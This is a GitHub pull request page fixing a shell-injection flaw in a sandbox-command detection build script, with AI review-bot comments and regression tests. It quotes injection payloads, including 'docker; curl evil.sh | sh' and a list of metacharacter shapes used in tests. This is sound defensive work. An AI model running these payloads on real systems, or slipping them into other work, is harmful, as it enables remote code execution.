fix(scripts): avoid shell injection in sandbox command detection - #6108
Merged
Conversation
Collaborator
Author
|
This PR addresses an externally reported security issue: a command-injection pattern in the sandbox command detection helper, where a crafted Scope/severity note for reviewers: the affected code ( |
tanzhenxin
enabled auto-merge
July 1, 2026 06:44
The dev/build helper sandbox_command.js interpolated the QWEN_SANDBOX value straight into a shell string passed to execSync, so a value like 'docker; curl evil.sh | sh' would run the trailing command. Pass the candidate as a separate argv element via execFileSync instead, using an absolute /bin/sh for the POSIX 'command -v' builtin so a PATH-controlled shell cannot be hijacked either. Add a subprocess regression test covering several injection payload shapes.
tanzhenxin
force-pushed
the
fix/sandbox-command-shell-injection
branch
from
July 1, 2026 06:48
a36c294 to
a08ffd0
Compare
Contributor
|
Please do not rebase or force-push to an active PR as it invalidates existing review comments. Note for future reference, the bots always squash all changes into a single commit automatically as part of the integration. 中文请勿对活跃的 PR 执行 rebase 或 force-push，因为这会使已有的评审评论失效。另外，供日后参考：作为集成流程的一部分，机器人始终会自动将所有改动压缩（squash）为单个提交。 |
Collaborator
|
Thanks for the PR! Template looks good ✓ On direction: clear defense-in-depth fix for a real shell injection vector in On approach: minimal and focused — one file changed ( Moving on to code review. 🔍 中文说明感谢贡献！ 模板完整 ✓ 方向：清晰的纵深防御修复，针对 方案：极简且聚焦——仅修改一个文件（ 进入代码审查 🔍 — Qwen Code · qwen3.7-max |
Collaborator
Code ReviewIndependent proposal (before reading the diff): To fix shell injection in Comparison with the PR: The PR's approach matches my proposal exactly — Reuse check: the existing No critical blockers. No AGENTS.md violations. The change is +93/-6 across 2 files, all necessary for the stated goal. Real-Scenario TestingInjection payloads (all rejected)Normal command detection (works correctly)Vitest regression suiteAll injection payloads ( 中文说明代码审查独立方案（读 diff 前）： 用 与 PR 对比： PR 方案与我的独立方案完全一致。简洁、正确、地道。 无关键阻塞问题，无 AGENTS.md 违规。+93/-6 跨 2 个文件，全部为目标所需。 实际场景测试所有注入载荷（ — Qwen Code · qwen3.7-max |
Collaborator
|
This is a textbook security fix done right. The motivation is clear (shell injection via string-interpolated The PR matches my independent proposal exactly. Every line in the diff serves the stated goal. No scope creep, no drive-by refactors, no unnecessary abstractions. If I had to maintain this in six months, I'd thank the author — the comments explain why each decision was made (absolute The before/after evidence confirms it: all injection payloads are neutralized, normal command detection works. LGTM. ✅ 中文说明这是一个标准的安全修复，做得很好。动机清晰（字符串拼接 PR 方案与我的独立方案完全一致。diff 中每一行都为目标服务。无范围蔓延、无顺手重构、无不必要的抽象。六个月后维护时会感谢作者——注释解释了每个决策的原因。 证据确认：所有注入载荷被阻断，正常命令检测正常。LGTM ✅ — Qwen Code · qwen3.7-max |
qwen-code-ci-bot
approved these changes
Jul 1, 2026
qwen-code-ci-bot
left a comment
qwen-code-ci-bot
left a comment
Collaborator
There was a problem hiding this comment.
LGTM, looks ready to ship. ✅
wenshao
approved these changes
Jul 1, 2026
| 'doesnotexist; echo pwned', | ||
| '$(true)', | ||
| '`true`', | ||
| ]; |
Collaborator
There was a problem hiding this comment.
[Suggestion] Consider adding || and embedded-newline payloads to the injection set. || is the most common "fail-open" injection vector (complementing the existing &&), and literal newlines are a classic IFS-splitting vector:
Suggested change
| ]; | |
| 'doesnotexist; true', | |
| 'doesnotexist && true', | |
| 'doesnotexist || true', | |
| 'doesnotexist | true', | |
| 'doesnotexist; echo pwned', | |
| '$(true)', | |
| '`true`', | |
| 'doesnotexist\ntrue', |
— qwen3.7-max via Qwen Code /review
| // opaque command name rather than parsed by a shell. | ||
| expect(stderr).toContain(`missing sandbox command '${payload}'`); | ||
| }); | ||
| }); |
Collaborator
There was a problem hiding this comment.
[Suggestion] The test suite only covers rejection paths. Consider adding a happy-path test that verifies a legitimate sandbox command (e.g. sh or node) is accepted and echoed to stdout. If the $1 binding were to regress and always reject, no test would currently catch it:
it('accepts a legitimate sandbox command that exists', () => {
const { status, stdout } = runSandboxCommand('node');
expect(status).toBe(0);
expect(stdout.trim()).toBe('node');
});— qwen3.7-max via Qwen Code /review
Contributor
Code Coverage Summary
CLI Package - Full Text ReportCore Package - Full Text ReportFor detailed HTML reports, please see the 'coverage-reports-22.x-ubuntu-latest' artifact from the main CI run. |
qwen-code-ci-bot
left a comment
qwen-code-ci-bot
left a comment
Collaborator
There was a problem hiding this comment.
No review findings. LGTM. ✅
The execFileSync + "$1" binding pattern correctly prevents shell metacharacter interpretation — the candidate is passed as a positional parameter, never interpolated into the shell command string. Tests are well-designed and all 7 pass.
Downgraded from Approve to Comment: CI still running.
— qwen3.7-max via Qwen Code /review
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
3 participants
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
What this PR does
Hardens the sandbox-command detection helper so a maliciously crafted sandbox value can no longer inject extra shell commands while checking whether the command exists. The candidate is now passed as a separate process argument instead of being spliced into a shell string, and the POSIX lookup runs through an absolute shell path.
Why it's needed
The helper decided whether the configured sandbox command exists by building a shell string like
command -v <value>and executing it. A value such asdocker; curl evil.sh | sh— coming from the environment, user settings, or a project-level.env— would run the trailing command. This helper runs at dev/build time (npm start,npm run build), not in the shipped CLI (which already validates against an allowlist and does a shell-free lookup), so real-world exploitability is low. Even so, executing an attacker-influenced string through a shell in the sandbox-setup path is worth closing as defense-in-depth. The earlier approach also risked invoking a PATH-controlled shell, which the absolute shell path now prevents.Reviewer Test Plan
How to verify
QWEN_SANDBOX='doesnotexist; touch /tmp/pwned' node scripts/sandbox_command.js -q→ printsERROR: missing sandbox command 'doesnotexist; touch /tmp/pwned', exits non-zero, and/tmp/pwnedis not created. Other shapes behave the same:&&,|,$(...), and backticks.QWEN_SANDBOX=docker node scripts/sandbox_command.jsprintsdocker; with no variable set on macOS it printssandbox-exec.npx vitest run --project scripts scripts/tests/sandbox-command.test.js→ 7 passed.Evidence (Before & After)
Before: the trailing command in the payload executed (marker file created) and the malicious string was accepted as the sandbox command (exit 0).
After: the entire value is treated as a single command name, rejected as missing (exit non-zero), and no injected command runs.
; touchQWEN_SANDBOX='x; touch /tmp/pwned' node scripts/sandbox_command.js -q/tmp/pwnedcreatedQWEN_SANDBOX=docker node scripts/sandbox_command.jsdockerdockernode scripts/sandbox_command.jssandbox-execsandbox-execvitest run scripts/tests/sandbox-command.test.jsTested on
Windows/Linux rely on CI; the POSIX code path is shared between macOS and Linux.
Environment (optional)
Local
node scripts/sandbox_command.jsruns plus thescriptsvitest project.Risk & Scope
where.exepath is left unchanged; this helper still does not adopt the shipped CLI'sdocker/podman/sandbox-execallowlist.Linked Issues
Reported privately; no public issue to link.
中文说明
本 PR 做了什么
加固沙箱命令检测辅助脚本，使得恶意构造的沙箱值在检测命令是否存在时无法再注入额外的 shell 命令。现在候选命令作为独立的进程参数传入，而不是拼接进 shell 字符串；POSIX 下的检测通过绝对路径的 shell 执行。
为什么需要
该脚本此前通过拼接
command -v <值>这样的 shell 字符串并执行，来判断配置的沙箱命令是否存在。像docker; curl evil.sh | sh这样的值（来自环境变量、用户设置或项目级.env）会执行后半段命令。该脚本运行在开发/构建阶段（npm start、npm run build），并非发布的 CLI（发布版已使用白名单校验且不经过 shell 查找），因此真实可利用性较低。即便如此，在沙箱初始化路径上把受攻击者影响的字符串交给 shell 执行，仍值得作为纵深防御修复。此前的写法还存在调用受 PATH 控制的 shell 的风险，改用绝对 shell 路径后已规避。验证方式
QWEN_SANDBOX='doesnotexist; touch /tmp/pwned' node scripts/sandbox_command.js -q会打印ERROR: missing sandbox command ...，以非零码退出，且不会创建/tmp/pwned。&&、|、$(...)、反引号等形式同理。QWEN_SANDBOX=docker node scripts/sandbox_command.js输出docker；macOS 下不设变量时输出sandbox-exec。npx vitest run --project scripts scripts/tests/sandbox-command.test.js→ 7 通过。风险与范围
where.exe路径保持不变；该脚本仍未采用发布版 CLI 的docker/podman/sandbox-exec白名单。